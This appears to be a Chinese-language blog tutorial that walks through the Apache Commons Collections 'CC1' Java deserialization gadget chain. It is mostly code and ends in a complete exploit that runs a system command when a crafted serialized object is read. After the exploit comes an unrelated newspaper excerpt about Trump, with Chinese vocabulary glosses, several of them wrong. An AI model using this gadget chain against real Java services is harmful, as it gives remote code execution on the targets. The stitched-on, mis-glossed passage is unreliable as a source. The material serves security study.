java CC1链跟踪
跟着jay17佬走一遍CC1链。
jdk旧版本下载:
https://pan.baidu.com/s/10oCMXJdEmYT0nC2_p6h6iA 提取码: 8899
p牛的jdk小版本镜像:
https://hub.docker.com/r/vulhub/java
jdk源码:https://github.com/openjdk/jdk8u/tree/jdk8u121-b13
默认有java基础
0. 环境
jdk<8u71,这里采用jdk8u65
maven依赖,pom.xml参考如下,记得reload project
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.jk</groupId>
<artifactId>javaWeb1</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>

然后下载一下源代码。

sun包源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载解压后,找到jdk-af660750b2f4\src\share\classes里面的sun文件夹,将其复制到C:\Program Files\Java\jdk1.8.0_65\src下。

在project structure里把sourcepath加上。

在porject structure里,修改sdk为1.8_65

在idea的setting里,右边修改成8

find usages设置范围:ctrl+alt+shift+F7
1. 流程1/3
整个链子大概这样
AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()
我们先倒着跟踪InvokerTransformer.transform()。
我们可以在左栏找到transformer.class,然后find usages查找transform定义
repository\commons-collections\commons-collections\3.2.1\commons-collections-3.2.1.jar!\org\apache\commons\collections\Transformer.class
public interface Transformer {
Object transform(Object var1);
}

找到InvokerTransformer类,该类实现了Transformer接口中的transform方法。此方法接收一个对象,然后反射调用任意类的任意方法(比如没法序列化的Runtime对象)。

我们尝试用InvokerTransformer类中的transform方法弹个计算器(执行命令calc)。
package com.jk.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;
public class cc1test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");
Runtime cmd = Runtime.getRuntime();
//使用反射 调用可命令执行的方法
//Class clazz = Runtime.class;
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
//InvokerTransformer类 调用可命令执行的方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
//方法名称,参数类型,参数
}
}

2. 流程2/3
然后跟踪ChainedTransformer.transform()。
Lazymap是国外的,Transformmap是国内的,这里跟踪国内的链子。

跟踪TransformedMap类,checkSetValue方法调用了valueTransformer.transform()。

往上找,发现了valueTransformer在构造器中初始化。但由于是protected,不能在外部直接调用,所以我们要找TransformedMap类哪个方法调用了构造器。

TransformedMap类的decorate方法调用了构造器。

我们对checkSetValue查找一下用法。AbstractInputCheckedMapDecorator类的MapEntry类的setValue()方法调用了checkSetValue方法。

并且可以注意到AbstractInputCheckedMapDecorator类是Transformedmap的父类。

加上TransformedMap类 和 AbstractInputCheckedMapDecorator类中的MapEntry类,我们尝试调用计算器。
package com.jk.cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.io.IOException;
import java.lang.reflect.*;
public class cc1test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime cmd = Runtime.getRuntime();
//原本是new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
InvokerTransformer invoker=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//Map本来是一个接口,用于存储键值对
//<键的类型,值的类型>是泛型用法
//HashMap是Map接口的一个实现类,键值都可null
//右侧<>是类型推断的语法糖,左侧已经提供类型了,这里不用再次指定
Map<Object,Object> map1=new HashMap<>();
map1.put("这是键","这是值");
//put添加键值对
Map<Object,Object> transformedMap1 = TransformedMap.decorate(map1, null, invoker);
//decorate是个静态方法,不用实例化调用
//decorate调用TransformedMap构造器,初始化了valueTransformer属性
//构造方法把invoker赋值给TransformedMap.valueTransformer属性
//AbstractInputCheckedMapDecorator类的MapEntry类的setValue()
//->TransformedMap.checkSetValue()
//->valueTransformer.transform()
for(Map.Entry entry:transformedMap1.entrySet()){
entry.setValue(cmd);
}
//Map的Entry对象由Map.entrySet()产生,所以TransformedMap的Entry对象是由TransformedMap.entrySet()产生
//相当于invoker.transform(cmd)
}
}



3. 流程3/3
继续倒推,是什么方法调用了AbstractInputCheckedMapDecorator.MapEntry类的setValue()方法呢?
AnnotationInvocationHandler类的readObject函数中以memberValue.setValue()形式调用了AbstractInputCheckedMapDecorator.MapEntry类的setValue()

AnnotationInvocationHandler类没有被public声明(default类型),仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类。
该类的构造方法第一个参数Class类对象必须是注解类或其子类的实例,第二个是Map对象。
注解类得传@Target,因为它有成员变量value(后面会解释)。

反射获取这个类,初步构造最后EXP
package com.jk.cc;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
public class cc1test {
public static void main(String[] args) throws Exception {
Runtime cmd = Runtime.getRuntime();
InvokerTransformer invoker=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object,Object> map1=new HashMap<>();
map1.put("这是键","这是值");
Map<Object,Object> transformedMap1 = TransformedMap.decorate(map1, null, invoker);
Class ac=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor= ac.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Target.class, transformedMap1);
serialize(o);
unserialize("ser1.bin");
//反序列化时调用readObject函数
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
//会尝试调用被反序列化对象的类中的readObject(ObjectInputStream in)方法
}
}

4. 问题解决
下面我们面临三个问题:
AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。或者说,链子后面调用InvokerTransformer类的transform方法没法直接返回一个Runtime.class对象,得另找一个类可以直接返回Runtime.class对象。

AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法,得绕过两个if判断。

- EXP中Runtime对象
cmd因为Runtime类没有继承Serializable接口,不可以被序列化,不过Class类可被序列化。

1. 问题三解决
先解决第三个问题
通过反射实现Runtime
Class class_rt=Runtime.class;
Method getRuntimeMethod=class_rt.getMethod("getRuntime");
Method execMethod=class_rt.getMethod("exec",String.class);//exec参数类型为String
//返回单个公共成员方法对象
Runtime runtimeObject =(Runtime) getRuntimeMethod.invoke(null,null);
//null对象调用getRuntime方法,参数为null,返回一个Object对象,然后转换成Runtime对象
execMethod.invoke(runtimeObject,"calc");
//用runtimeObject对象调用exec方法,参数为calc
利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec方法 的代码段如下:
//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//方法名,参数类型,参数
//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);
InvokerTransformer的transform方法如下:

此时,我们原本的InvokerTransformer实例invoker被拆成了三部分,得想办法整合起来。
注意到org.apache.commons.collections.functors下的ChainedTransformer类的transform方法。该方法可以遍历Transformer数组,调用transform方法

Transformer[] transformerArray=new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
chainedTransformer.transform(Runtime.class);
//相当于先执行Runtime.class.getDeclaredMethod(getRuntime)返回Method getRuntimeMethod1
//然后getRuntimeMethod1.invoke(null, null)创建对象,返回Object getRuntime1(实际是Runtime类)
//然后getRuntime1.exec("calc")调用Runtime类的exec方法

2. 问题二解决
接下来要绕过两个if判断

目前我们EXP如下:
package com.jk.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
public class cc1test {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map<Object,Object> map1=new HashMap<>();
map1.put("这是键","这是值");
Map<Object,Object> transformedMap1 = TransformedMap.decorate(map1, null, chainedTransformer);
//chainedTransformer取代原本的invoker
Class ac=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor= ac.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Target.class, transformedMap1);
serialize(o);
unserialize("ser1.bin");
//反序列化时调用readObject函数
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
//会尝试调用被反序列化对象的类中的readObject(ObjectInputStream in)方法
}
}
下断点调试,memberType(slot_7)为null,无法过if判断

阅读源码可知,memberTypes(slot_2)是获取注解类成员变量的名称,然后检查hashMap键值对中的键是否在memberTypes(slot_2)中。

可以看到@Target注解类成员变量的名称是value

故修改EXP中添加Map键值对的部分,成功绕过第一个if
map1.put("value","这是值");
第二个if不用绕过就满足
memberType.isInstance(value)
//value为String "这是值"
//memberType为class [Ljava.lang.annotation.ElementType
//"这是值"不能强制转换成annotation.ElementType类型
value instanceof ExceptionProxy
//"这是值"不是ExceptionProxy类
3. 问题一解决
AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。或者说,链子后面调用InvokerTransformer类的transform方法没法直接返回一个Runtime.class对象,得另找一个类可以直接返回Runtime.class对象。

我们要想办法使得setValue()方法的参数是Runtime.class
注意到org.apache.commons.collections.functors包下的ConstantTransformer类中的transform函数可返回我们传入的对象

5. 最终EXP
package com.jk.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;
public class cc1test {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map<Object,Object> map1=new HashMap<>();
map1.put("value","这是值");
Map<Object,Object> transformedMap1 = TransformedMap.decorate(map1, null, chainedTransformer);
//chainedTransformer取代原本的invoker
Class ac=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor= ac.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Target.class, transformedMap1);
serialize(o);
unserialize("ser1.bin");
//反序列化时调用readObject函数
}
//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}
//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
//会尝试调用被反序列化对象的类中的readObject(ObjectInputStream in)方法
}
}


While Ms Harris performed well enough with graduates and gullible(易受骗的) celebrities, support for her among those with no degree was a mere 37 percent. She failed also comprehend that voters from ethnic minorities were not automatically hostile to(反对) Mr Trump’s promise to round up(聚集) and deport(丢弃) illegal immigrants en masse(一起).
Yet the maverick streak(特立独行的性格特征) /in Mr Trump /that leaves critics aghast(惊呆的) at his political Lazarus(象征希望,复苏) act /promises upheaval(巨变) /of a potentially more positive kind. His promise to cut taxes and rein in(控制) federal spending represents a return to progressive ideas /buried for a generation, and sadly lacking in Britain.
It is Mr Trump’s infatuation(热恋) with tariffs as a tool to regenerate American industry that is most concerning. He is threatening a 60 per cent rate on imports from China and 20 per cent rate for the rest of the world. Even if enacted(法案通过) only in part(inflated(夸大) threats are part of Mr Trump’s negotiating style) they risk giving the global economy a heart attack.
Most politicians adapt themselves to the political weather. Donald Trump shows he can make it.
–选自泰晤士报
参考
b站零溢出
2118

被折叠的 条评论
为什么被折叠?



